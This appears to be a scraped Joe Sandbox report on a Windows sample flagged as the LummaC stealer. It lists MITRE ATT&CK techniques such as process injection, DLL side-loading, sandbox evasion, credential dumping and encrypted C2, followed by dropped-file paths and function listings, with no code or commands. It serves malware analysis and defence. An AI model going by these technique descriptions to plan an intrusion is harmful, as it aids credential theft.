Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yuij5p5p3W.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yuij5p5p3W.exe_7993edd1949fe3b12f176beeaa63fdd4ada698f_e019711b_98493af3-49f5-4220-9844-f4aa7ce4fe6c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER152F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16A7.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E6.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Windows Analysis Report
yuij5p5p3W.exe

Function 00841D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Function 00859280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Function 0082B100 Relevance: 20.4, Strings: 16, Instructions: 425
COMMON

Function 0082F60D Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 845
COMMON

Function 00858EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Function 008439B9 Relevance: 14.8, APIs: 2, Strings: 6, Instructions: 822
COMMON

Function 00843B50 Relevance: 12.8, APIs: 2, Strings: 5, Instructions: 600
COMMON

Function 0082CE45 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 342
COMMON

Function 00828600 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON

Function 0084D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Function 0084D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Function 0084D893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre